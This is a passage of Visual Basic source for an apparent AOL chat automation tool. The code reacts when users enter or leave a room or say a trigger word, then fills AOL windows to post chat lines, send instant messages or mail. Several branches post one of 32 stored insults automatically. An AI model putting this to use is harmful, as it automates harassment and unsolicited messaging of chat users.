            VBMsg1.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1.5)
            MBox = FindWindow(0, "America Online")
            If MBox <> 0 Then
              DoEvents
              SendKeys "{ENTER}"
              DoEvents
            End If
          End If

          If Event4 = 2 Then
            NameTemp = ChatNameSp

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%MC"
            DoEvents
            Call Pause(.5)
            thiswin% = FindWindow(0, "America  Online")
            ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
            SendButton2 = VBEnumChildWindows(ComposeHand, 2)
            ToField = VBEnumChildWindows(ComposeHand, 10)
            SubField = VBEnumChildWindows(ComposeHand, 14)
            MsgField = VBEnumChildWindows(ComposeHand, 17)
            VBMsg3.SubClasshWnd = SendButton2
            lint = 20000
            lpstring = SendTo4
            DidName = InStr(SendTo4, "{SN}")
            If DidName > 0 Then lpstring = NameTemp
            ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)   ',lint
            DoEvents
            lpstring = MSubject4
            SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            lpstring = MMessage4

            MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            Call Pause(.3)
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents

            thiswin2% = FindWindow(0, "America Online")
            While thiswin2% = 0
              DoEvents
              thiswin2% = FindWindow(0, "America Online")
            Wend
            DoEvents
            Call Pause(.2)
            SendKeys "{ENTER}"

          End If
        End If
      End If
      If Check3D5.Value = True Then

        Enters1 = InStr(ChatLine, "HAS ENTERED THE ROOM.")

        If Enters1 > 0 Then

          If Event5 = 1 Then

            Name1 = InStr(Message5, "{SN}")

            If Name1 > 0 Then
              Name3 = Name1 - 1
              Part1 = Mid$(Message5Sp, 1, Name3)
              Name2 = Name1 + 4
              Part2 = Mid$(Message5Sp, Name2)
            End If

          'thiswin% = FindWindow(0, "America  Online")
          'find% = FindChildByClass(thiswin%, "_AOL_Edit")

            lint = 2000
            If Name1 > 0 Then

              HCame1 = InStr(ChatLineSp, ":")
              HCame2 = HCame1 + 2
              ThisWeird = InStr(ChatLineSp, "has entered")
              ThisWeird = ThisWeird - 2
              HCame3 = Mid$(ChatLineSp, HCame2, ThisWeird)
              HCame4 = InStr(HCame3, "has entered")
              HCame5 = HCame4 - 2
              HCame6 = Mid$(HCame3, 1, HCame5)
              lpstring = Part1 + HCame6 + Part2
            Else
              lpstring = Message5Sp
            End If

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)  ',lint
            DoEvents
            Call Pause(.4)

            If Check3D1.Value = True Or Check3D2.Value = True Or Check3D3.Value = True Or Check3D4.Value = True Then
              DoEvents
              Call Pause(.4)
            End If

            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP

          End If

          If Event5 = 7 Then
            If InsultNum5 = "1" Then DaInsult = YMS1
            If InsultNum5 = "2" Then DaInsult = YMS2
            If InsultNum5 = "3" Then DaInsult = YMS3
            If InsultNum5 = "4" Then DaInsult = YMS4
            If InsultNum5 = "5" Then DaInsult = YMS5
            If InsultNum5 = "6" Then DaInsult = YMS6
            If InsultNum5 = "7" Then DaInsult = YMS7
            If InsultNum5 = "8" Then DaInsult = YMS8
            If InsultNum5 = "9" Then DaInsult = YMS9
            If InsultNum5 = "10" Then DaInsult = YMS10
            If InsultNum5 = "11" Then DaInsult = YMS11
            If InsultNum5 = "12" Then DaInsult = YMS12
            If InsultNum5 = "13" Then DaInsult = YMS13
            If InsultNum5 = "14" Then DaInsult = YMS14
            If InsultNum5 = "15" Then DaInsult = YMS15
            If InsultNum5 = "16" Then DaInsult = YMS16
            If InsultNum5 = "17" Then DaInsult = YMS17
            If InsultNum5 = "18" Then DaInsult = YMS18
            If InsultNum5 = "19" Then DaInsult = YMS19
            If InsultNum5 = "20" Then DaInsult = YMS20
            If InsultNum5 = "21" Then DaInsult = YMS21
            If InsultNum5 = "22" Then DaInsult = YMS22
            If InsultNum5 = "23" Then DaInsult = YMS23
            If InsultNum5 = "24" Then DaInsult = YMS24
            If InsultNum5 = "25" Then DaInsult = YMS25
            If InsultNum5 = "26" Then DaInsult = YMS26
            If InsultNum5 = "27" Then DaInsult = YMS27
            If InsultNum5 = "28" Then DaInsult = YMS28
            If InsultNum5 = "29" Then DaInsult = YMS29
            If InsultNum5 = "30" Then DaInsult = YMS30
            If InsultNum5 = "31" Then DaInsult = YMS31
            If InsultNum5 = "32" Then DaInsult = YMS32

            lint = 2000

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
          End If

          If Event5 = 3 Then
            HCame1 = InStr(ChatLineSp, ":")
            HCame2 = HCame1 + 2
            ThisWeird = InStr(ChatLineSp, "has entered")
            ThisWeird = ThisWeird - 2
            HCame3 = Mid$(ChatLineSp, HCame2, ThisWeird)
            HCame4 = InStr(HCame3, "has entered")
            HCame5 = HCame4 - 2
            HCame6 = Mid$(HCame3, 1, HCame5)

            TempName = HCame6

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%B{DOWN 3}{ENTER}"
            DoEvents
            Call Pause(.4)
            lint = 3000
            thiswin% = FindWindow(0, "America  Online")
            InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
            IMEdit1 = VBEnumChildWindows(InstantWin, 2)
            IMEdit = VBEnumChildWindows(InstantWin, 3)

            lpstring = IMTo5
            DidIM = InStr(lpstring, "{SN}")
            If DidIM > 0 Then
              lpstring = TempName
            End If
            SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
            DoEvents
            lpstring = IMess5
            SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
            DoEvents
            SendButton = FindChildByTitle(InstantWin, "Send")
            VBMsg1.SubClasshWnd = SendButton
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1.5)
            MBox = FindWindow(0, "America Online")
            If MBox <> 0 Then
              DoEvents
              SendKeys "{ENTER}"
              DoEvents
            End If
          End If

          If Event5 = 2 Then
            HCame1 = InStr(ChatLineSp, ":")
            HCame2 = HCame1 + 2
            ThisWeird = InStr(ChatLineSp, "has entered")
            ThisWeird = ThisWeird - 2
            HCame3 = Mid$(ChatLineSp, HCame2, ThisWeird)
            HCame4 = InStr(HCame3, "has entered")
            HCame5 = HCame4 - 2
            HCame6 = Mid$(HCame3, 1, HCame5)

            NameTemp = HCame6

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%MC"
            DoEvents
            Call Pause(.1)
            thiswin% = FindWindow(0, "America  Online")
            ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
            SendButton2 = VBEnumChildWindows(ComposeHand, 2)
            ToField = VBEnumChildWindows(ComposeHand, 10)
            SubField = VBEnumChildWindows(ComposeHand, 14)
            MsgField = VBEnumChildWindows(ComposeHand, 17)
            VBMsg3.SubClasshWnd = SendButton2
            lint = 20000
            lpstring = SendTo5
            DidName = InStr(SendTo5, "{SN}")
            If DidName > 0 Then lpstring = NameTemp
            ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)   ',lint
            DoEvents
            lpstring = MSubject5
            SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            lpstring = MMessage5

            MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            Call Pause(.2)
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents

            thiswin2% = FindWindow(0, "America Online")
            While thiswin2% = 0
              DoEvents
              thiswin2% = FindWindow(0, "America Online")
            Wend
            DoEvents
            Call Pause(.2)
            SendKeys "{ENTER}"

          End If
        End If
      End If
      If Check3D6.Value = True Then

        Said13 = InStr(ChatLine, Word2)

        If Said13 > 0 Then

          If Event6 = 1 Then

            Name1 = InStr(Message6, "{SN}")

            If Name1 > 0 Then
              Name3 = Name1 - 1
              Part1 = Mid$(Message6Sp, 1, Name3)
              Name2 = Name1 + 4
              Part2 = Mid$(Message6Sp, Name2)
            End If

          'thiswin% = FindWindow(0, "America  Online")
          'find% = FindChildByClass(thiswin%, "_AOL_Edit")

            lint = 2000
            If Name1 > 0 Then

              lpstring = Part1 + ChatNameSp + Part2
            Else
              lpstring = Message6Sp
            End If

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)  ',lint
            If Check3D1.Value = True Or Check3D2.Value = True Or Check3D3.Value = True Or Check3D4.Value = True Or Check3D5.Value = True Then
              DoEvents
              Call Pause(.4)
            End If

            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP

          End If

          If Event6 = 7 Then
            If InsultNum6 = "1" Then DaInsult = YMS1
            If InsultNum6 = "2" Then DaInsult = YMS2
            If InsultNum6 = "3" Then DaInsult = YMS3
            If InsultNum6 = "4" Then DaInsult = YMS4
            If InsultNum6 = "5" Then DaInsult = YMS5
            If InsultNum6 = "6" Then DaInsult = YMS6
            If InsultNum6 = "7" Then DaInsult = YMS7
            If InsultNum6 = "8" Then DaInsult = YMS8
            If InsultNum6 = "9" Then DaInsult = YMS9
            If InsultNum6 = "10" Then DaInsult = YMS10
            If InsultNum6 = "11" Then DaInsult = YMS11
            If InsultNum6 = "12" Then DaInsult = YMS12
            If InsultNum6 = "13" Then DaInsult = YMS13
            If InsultNum6 = "14" Then DaInsult = YMS14
            If InsultNum6 = "15" Then DaInsult = YMS15
            If InsultNum6 = "16" Then DaInsult = YMS16
            If InsultNum6 = "17" Then DaInsult = YMS17
            If InsultNum6 = "18" Then DaInsult = YMS18
            If InsultNum6 = "19" Then DaInsult = YMS19
            If InsultNum6 = "20" Then DaInsult = YMS20
            If InsultNum6 = "21" Then DaInsult = YMS21
            If InsultNum6 = "22" Then DaInsult = YMS22
            If InsultNum6 = "23" Then DaInsult = YMS23
            If InsultNum6 = "24" Then DaInsult = YMS24
            If InsultNum6 = "25" Then DaInsult = YMS25
            If InsultNum6 = "26" Then DaInsult = YMS26
            If InsultNum6 = "27" Then DaInsult = YMS27
            If InsultNum6 = "28" Then DaInsult = YMS28
            If InsultNum6 = "29" Then DaInsult = YMS29
            If InsultNum6 = "30" Then DaInsult = YMS30
            If InsultNum6 = "31" Then DaInsult = YMS31
            If InsultNum6 = "32" Then DaInsult = YMS32

            lint = 2000

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
          End If

          If Event6 = 3 Then
            TempName = ChatNameSp

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%B{DOWN 3}{ENTER}"
            DoEvents
            Call Pause(.4)
            lint = 3000
            thiswin% = FindWindow(0, "America  Online")
            InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
            IMEdit1 = VBEnumChildWindows(InstantWin, 2)
            IMEdit = VBEnumChildWindows(InstantWin, 3)

            lpstring = IMTo6
            DidIM = InStr(lpstring, "{SN}")
            If DidIM > 0 Then
              lpstring = TempName
            End If
            SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
            DoEvents
            lpstring = IMess6
            SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
            DoEvents
            SendButton = FindChildByTitle(InstantWin, "Send")
            VBMsg1.SubClasshWnd = SendButton
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1.5)
            MBox = FindWindow(0, "America Online")
            If MBox <> 0 Then
              DoEvents
              SendKeys "{ENTER}"
              DoEvents
            End If
          End If

          If Event6 = 2 Then
            NameTemp = ChatNameSp

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%MC"
            DoEvents
            Call Pause(.5)
            thiswin% = FindWindow(0, "America  Online")
            ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
            SendButton2 = VBEnumChildWindows(ComposeHand, 2)
            ToField = VBEnumChildWindows(ComposeHand, 10)
            SubField = VBEnumChildWindows(ComposeHand, 14)
            MsgField = VBEnumChildWindows(ComposeHand, 17)
            VBMsg3.SubClasshWnd = SendButton2
            lint = 20000
            lpstring = SendTo6
            DidName = InStr(SendTo6, "{SN}")
            If DidName > 0 Then lpstring = NameTemp
            ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)   ',lint
            DoEvents
            lpstring = MSubject6
            SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            lpstring = MMessage6

            MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            Call Pause(.3)
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents

            thiswin2% = FindWindow(0, "America Online")
            While thiswin2% = 0
              DoEvents
              thiswin2% = FindWindow(0, "America Online")
            Wend
            DoEvents
            Call Pause(.2)
            SendKeys "{ENTER}"

          End If
        End If
      End If
      If Check3D7.Value = True Then

        Enters2 = InStr(ChatLine, "HAS ENTERED THE ROOM.")

        If Enters2 > 0 Then

          PerEnter = InStr(ChatLine, Message7)

          If PerEnter > 0 Then

            thiswin1 = FindWindow(0, "America  Online")
            ListB = FindChildByClass(thiswin1, "_AOL_Listbox")
            If ListB <> 0 Then
              SetCur = SendMessage(ListB, LB_SETCURSEL, 0, 0)
              VBMsg2.SubClasshWnd = ListB
              VBMsg2.SendMessage = WM_LBUTTONDBLCLK
              DoEvents
              Call Pause(.5)

              NameWin = FindChildByTitle(thiswin1, "Message7Sp")
              While NameWin = 0
                DoEvents
                NameWin = FindChildByTitle(thiswin1, "Message7Sp")
              Wend
              DoEvents
              SendKeys " "
              VBMsg2.SubClasshWnd = NameWin
              VBMsg2.PostMessage = WM_CLOSE
              DoEvents

            End If
          End If
        End If

      End If
      If Check3D8.Value = True Then

        Enters2 = InStr(ChatLine, "HAS LEFT THE ROOM.")

        If Enters2 > 0 Then

           ' If Name1 > 0 Then

              HCame1 = InStr(ChatLineSp, ":")
              HCame2 = HCame1 + 2
              ThisWeird = InStr(ChatLineSp, "has left")
              ThisWeird = ThisWeird - 2
              HCame3 = Mid$(ChatLineSp, HCame2, ThisWeird)
              HCame4 = InStr(HCame3, "has left")
              HCame5 = HCame4 - 2
              HCame6 = Mid$(HCame3, 1, HCame5)
              LeftName = Part1 + HCame6 + Part2
            'Else
            '  LeftName = Message5Sp
            'End If

          If Event8 = 1 Then

            Name1 = InStr(Message8, "{SN}")

            If Name1 > 0 Then
              Name3 = Name1 - 1
              Part1 = Mid$(Message8Sp, 1, Name3)
              Name2 = Name1 + 4
              Part2 = Mid$(Message8Sp, Name2)
            End If

          'thiswin% = FindWindow(0, "America  Online")
          'find% = FindChildByClass(thiswin%, "_AOL_Edit")

            lint = 2000
            If Name1 > 0 Then

              lpstring = Part1 + LeftName + Part2
            Else
              lpstring = Message8Sp
            End If

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)  ',lint
            If Check3D1.Value = True Or Check3D2.Value = True Or Check3D3.Value = True Or Check3D4.Value = True Or Check3D5.Value = True Or Check3D6.Value = True Or Check3D7.Value = True Then
              DoEvents
              Call Pause(.4)
            End If

            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP

          End If

          If Event8 = 7 Then
            If InsultNum8 = "1" Then DaInsult = YMS1
            If InsultNum8 = "2" Then DaInsult = YMS2
            If InsultNum8 = "3" Then DaInsult = YMS3
            If InsultNum8 = "4" Then DaInsult = YMS4
            If InsultNum8 = "5" Then DaInsult = YMS5
            If InsultNum8 = "6" Then DaInsult = YMS6
            If InsultNum8 = "7" Then DaInsult = YMS7
            If InsultNum8 = "8" Then DaInsult = YMS8
            If InsultNum8 = "9" Then DaInsult = YMS9
            If InsultNum8 = "10" Then DaInsult = YMS10
            If InsultNum8 = "11" Then DaInsult = YMS11
            If InsultNum8 = "12" Then DaInsult = YMS12
            If InsultNum8 = "13" Then DaInsult = YMS13
            If InsultNum8 = "14" Then DaInsult = YMS14
            If InsultNum8 = "15" Then DaInsult = YMS15
            If InsultNum8 = "16" Then DaInsult = YMS16
            If InsultNum8 = "17" Then DaInsult = YMS17
            If InsultNum8 = "18" Then DaInsult = YMS18
            If InsultNum8 = "19" Then DaInsult = YMS19
            If InsultNum8 = "20" Then DaInsult = YMS20
            If InsultNum8 = "21" Then DaInsult = YMS21
            If InsultNum8 = "22" Then DaInsult = YMS22
            If InsultNum8 = "23" Then DaInsult = YMS23
            If InsultNum8 = "24" Then DaInsult = YMS24
            If InsultNum8 = "25" Then DaInsult = YMS25
            If InsultNum8 = "26" Then DaInsult = YMS26
            If InsultNum8 = "27" Then DaInsult = YMS27
            If InsultNum8 = "28" Then DaInsult = YMS28
            If InsultNum8 = "29" Then DaInsult = YMS29
            If InsultNum8 = "30" Then DaInsult = YMS30
            If InsultNum8 = "31" Then DaInsult = YMS31
            If InsultNum8 = "32" Then DaInsult = YMS32

            lint = 2000

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
          End If

          If Event8 = 3 Then
            TempName = LeftName

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%B{DOWN 3}{ENTER}"
            DoEvents
            Call Pause(.4)
            lint = 3000
            thiswin% = FindWindow(0, "America  Online")
            InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
            IMEdit1 = VBEnumChildWindows(InstantWin, 2)
            IMEdit = VBEnumChildWindows(InstantWin, 3)

            lpstring = IMTo8
            DidIM = InStr(lpstring, "{SN}")
            If DidIM > 0 Then
              lpstring = TempName
            End If
            SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
            DoEvents
            lpstring = IMess8
            SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
            DoEvents
            SendButton = FindChildByTitle(InstantWin, "Send")
            VBMsg1.SubClasshWnd = SendButton
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1.5)
            MBox = FindWindow(0, "America Online")
            If MBox <> 0 Then
              DoEvents
              SendKeys "{ENTER}"
              DoEvents
            End If
          End If

          If Event8 = 2 Then
            NameTemp = LeftName

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%MC"
            DoEvents
            Call Pause(.5)
            thiswin% = FindWindow(0, "America  Online")
            ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
            SendButton2 = VBEnumChildWindows(ComposeHand, 2)
            ToField = VBEnumChildWindows(ComposeHand, 10)
            SubField = VBEnumChildWindows(ComposeHand, 14)
            MsgField = VBEnumChildWindows(ComposeHand, 17)
            VBMsg3.SubClasshWnd = SendButton2
            lint = 20000
            lpstring = SendTo8
            DidName = InStr(SendTo8, "{SN}")
            If DidName > 0 Then lpstring = NameTemp
            ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)   ',lint
            DoEvents
            lpstring = MSubject8
            SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            lpstring = MMessage8

            MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            Call Pause(.3)
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents

            thiswin2% = FindWindow(0, "America Online")
            While thiswin2% = 0
              DoEvents
              thiswin2% = FindWindow(0, "America Online")
            Wend
            DoEvents
            Call Pause(.2)
            SendKeys "{ENTER}"

          End If
        End If
      End If
      If Check3D9.Value = True Then

        InRoom = InStr(ChatLine, "HAS ENTERED THE ROOM.")

        If InRoom > 0 Then
          InPer = InStr(ChatLine, Person2)
        End If

        If InPer > 0 Then

          If Event9 = 1 Then

            Name1 = InStr(Message9, "{SN}")

            If Name1 > 0 Then
              Name3 = Name1 - 1
              Part1 = Mid$(Message9Sp, 1, Name3)
              Name2 = Name1 + 4
              Part2 = Mid$(Message9Sp, Name2)
            End If

          'thiswin% = FindWindow(0, "America  Online")
          'find% = FindChildByClass(thiswin%, "_AOL_Edit")

            lint = 2000
            If Name1 > 0 Then

              lpstring = Part1 + Person2 + Part2
            Else
              lpstring = Message9Sp
            End If

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)  ',lint
            If Check3D1.Value = True Or Check3D2.Value = True Or Check3D3.Value = True Or Check3D4.Value = True Or Check3D5.Value = True Or Check3D6.Value = True Or Check3D7.Value = True Or Check3D8.Value = True Then
              DoEvents
              Call Pause(.4)
            End If

            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP

          End If

          If Event9 = 7 Then
            If InsultNum9 = "1" Then DaInsult = YMS1
            If InsultNum9 = "2" Then DaInsult = YMS2
            If InsultNum9 = "3" Then DaInsult = YMS3
            If InsultNum9 = "4" Then DaInsult = YMS4
            If InsultNum9 = "5" Then DaInsult = YMS5
            If InsultNum9 = "6" Then DaInsult = YMS6
            If InsultNum9 = "7" Then DaInsult = YMS7
            If InsultNum9 = "8" Then DaInsult = YMS8
            If InsultNum9 = "9" Then DaInsult = YMS9
            If InsultNum9 = "10" Then DaInsult = YMS10
            If InsultNum9 = "11" Then DaInsult = YMS11
            If InsultNum9 = "12" Then DaInsult = YMS12
            If InsultNum9 = "13" Then DaInsult = YMS13
            If InsultNum9 = "14" Then DaInsult = YMS14
            If InsultNum9 = "15" Then DaInsult = YMS15
            If InsultNum9 = "16" Then DaInsult = YMS16
            If InsultNum9 = "17" Then DaInsult = YMS17
            If InsultNum9 = "18" Then DaInsult = YMS18
            If InsultNum9 = "19" Then DaInsult = YMS19
            If InsultNum9 = "20" Then DaInsult = YMS20
            If InsultNum9 = "21" Then DaInsult = YMS21
            If InsultNum9 = "22" Then DaInsult = YMS22
            If InsultNum9 = "23" Then DaInsult = YMS23
            If InsultNum9 = "24" Then DaInsult = YMS24
            If InsultNum9 = "25" Then DaInsult = YMS25
            If InsultNum9 = "26" Then DaInsult = YMS26
            If InsultNum9 = "27" Then DaInsult = YMS27
            If InsultNum9 = "28" Then DaInsult = YMS28
            If InsultNum9 = "29" Then DaInsult = YMS29
            If InsultNum9 = "30" Then DaInsult = YMS30
            If InsultNum9 = "31" Then DaInsult = YMS31
            If InsultNum9 = "32" Then DaInsult = YMS32

            lint = 2000

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, DaInsult)
            DoEvents
            Call Pause(.3)
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
          End If

          If Event9 = 3 Then
            TempName = Person2

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%B{DOWN 3}{ENTER}"
            DoEvents
            Call Pause(.4)
            lint = 3000
            thiswin% = FindWindow(0, "America  Online")
            InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
            IMEdit1 = VBEnumChildWindows(InstantWin, 2)
            IMEdit = VBEnumChildWindows(InstantWin, 3)

            lpstring = IMTo9
            DidIM = InStr(lpstring, "{SN}")
            If DidIM > 0 Then
              lpstring = TempName
            End If
            SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
            DoEvents
            lpstring = IMess9
            SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
            DoEvents
            SendButton = FindChildByTitle(InstantWin, "Send")
            VBMsg1.SubClasshWnd = SendButton
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1.5)
            MBox = FindWindow(0, "America Online")
            If MBox <> 0 Then
              DoEvents
              SendKeys "{ENTER}"
              DoEvents
            End If
          End If

          If Event9 = 2 Then
            NameTemp = Person2

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%MC"
            DoEvents
            Call Pause(.5)
            thiswin% = FindWindow(0, "America  Online")
            ComposeHand = FindChildByTitle(thiswin%, "Compose Mail")
            SendButton2 = VBEnumChildWindows(ComposeHand, 2)
            ToField = VBEnumChildWindows(ComposeHand, 10)
            SubField = VBEnumChildWindows(ComposeHand, 14)
            MsgField = VBEnumChildWindows(ComposeHand, 17)
            VBMsg3.SubClasshWnd = SendButton2
            lint = 20000
            lpstring = SendTo9
            DidName = InStr(SendTo9, "{SN}")
            If DidName > 0 Then lpstring = NameTemp
            ToText = SendMessageByString(ToField, WM_SETTEXT, lint, lpstring)   ',lint
            DoEvents
            lpstring = MSubject9
            SubText = SendMessageByString(SubField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            lpstring = MMessage9

            MsgText = SendMessageByString(MsgField, WM_SETTEXT, lint, lpstring) ',lint
            DoEvents
            Call Pause(.3)
            VBMsg3.SendMessage = WM_LBUTTONDOWN
            VBMsg3.SendMessage = WM_LBUTTONUP
            DoEvents

            thiswin2% = FindWindow(0, "America Online")
            While thiswin2% = 0
              DoEvents
              thiswin2% = FindWindow(0, "America Online")
            Wend
            DoEvents
            Call Pause(.2)
            SendKeys "{ENTER}"

          End If
        End If
      End If

    '10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10

      If Check3D10.Value = True Then

        InRoom = InStr(ChatLine, "HAS LEFT THE ROOM.")

        If InRoom > 0 Then
          InPer = InStr(ChatLine, Person3)
        End If

        If InPer > 0 Then

          If Event10 = 1 Then

            Name1 = InStr(Message10, "{SN}")

            If Name1 > 0 Then
              Name3 = Name1 - 1
              Part1 = Mid$(Message10Sp, 1, Name3)
              Name2 = Name1 + 4
              Part2 = Mid$(Message10Sp, Name2)
            End If

          'thiswin% = FindWindow(0, "America  Online")
          'find% = FindChildByClass(thiswin%, "_AOL_Edit")

            lint = 2000
            If Name1 > 0 Then

              lpstring = Part1 + Person3 + Part2
            Else
              lpstring = Message10Sp
            End If

            X = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)  ',lint
            If Check3D1.Value = True Or Check3D2.Value = True Or Check3D3.Value = True Or Check3D4.Value = True Or Check3D5.Value = True Or Check3D6.Value = True Or Check3D7.Value = True Or Check3D8.Value = True Or Check3D9.Value = True Then
              DoEvents
              Call Pause(.4)
            End If

            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP

          End If

          If Event10 = 10 Then
            TempName = Person3

            DoEvents
            AppActivate "America  Online"
            DoEvents
            SendKeys "%B{DOWN 3}{ENTER}"
            DoEvents
            Call Pause(.4)
            lint = 3000
            thiswin% = FindWindow(0, "America  Online")
            InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
            IMEdit1 = VBEnumChildWindows(InstantWin, 2)
            IMEdit = VBEnumChildWindows(InstantWin, 3)

            lpstring = IMTo10
            DidIM = InStr(lpstring, "{SN}")
            If DidIM > 0 Then
              lpstring = TempName
            End If
            SendName = SendMessageByString(IMEdit1, WM_SETTEXT, lint, lpstring)
            DoEvents
            lpstring = IMess10
            SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
            DoEvents
            SendButton = FindChildByTitle(InstantWin, "Send")
            VBMsg1.SubClasshWnd = SendButton
            VBMsg1.SendMessage = WM_LBUTTONDOWN
            VBMsg1.SendMessage = WM_LBUTTONUP
            DoEvents
            Call Pause(1.5)
            MBox = FindWindow(0, "America Online")
            If MBox <> 0 Then
              DoEvents
              SendKeys "{ENTER}"
              DoEvents
            End If
          End If

          If Event10 = 7 Then
            If InsultNum10 = "1" Then DaInsult = YMS1
            If InsultNum10 = "2" Then DaInsult = YMS2
            If InsultNum10 = "3" Then DaInsult = YMS3
            If InsultNum10 = "4" Then DaInsult = YMS4
            If InsultNum10 = "5" Then DaInsult = YMS5
            If InsultNum10 = "6" Then DaInsult = YMS6
            If InsultNum10 = "7" Then DaInsult = YMS7
            If InsultNum10 = "8" Then DaInsult = YMS8
            If InsultNum10 = "9" Then DaInsult = YMS9
            If InsultNum10 = "10" Then DaInsult = YMS10
            If InsultNum10 = "11" Then DaInsult = YMS11
            If InsultNum10 = "12" Then DaInsult = YMS12
            If InsultNum10 = "13" Then DaInsult = YMS13
            If InsultNum10 = "14" Then DaInsult = YMS14
            If InsultNum10 = "15" Then DaInsult = YMS15
            If InsultNum10 = "16" Then DaInsult = YMS16
            If InsultNum10 = "17" Then DaInsult = YMS17
            If InsultNum10 = "18" Then DaInsult = YMS18
            If InsultNum10 = "19" Then DaInsult = YMS19
            If InsultNum10 = "20" Then DaInsult = YMS20
            If InsultNum10 = "21" Then DaInsult = YMS21
            If InsultNum10 = "22" Then DaInsult = YMS22
            If InsultNum10 = "23" Then DaInsult = YMS23
            If InsultNum10 = "24" Then DaInsult = YMS24
            If InsultNum10 = "25" Then DaInsult = YMS25
            If InsultNum10 = "26" Then DaInsult = YMS26
            If InsultNum10 = "27" Then DaInsult = YMS27
            If InsultNum10 = "28" Then DaInsult = YMS28
            If InsultNum10 = "29" Then DaInsult = YMS29
            If InsultNum10 = "30" Then DaInsult = YMS30
            If InsultNum10 = "31" Then DaInsult = YMS31
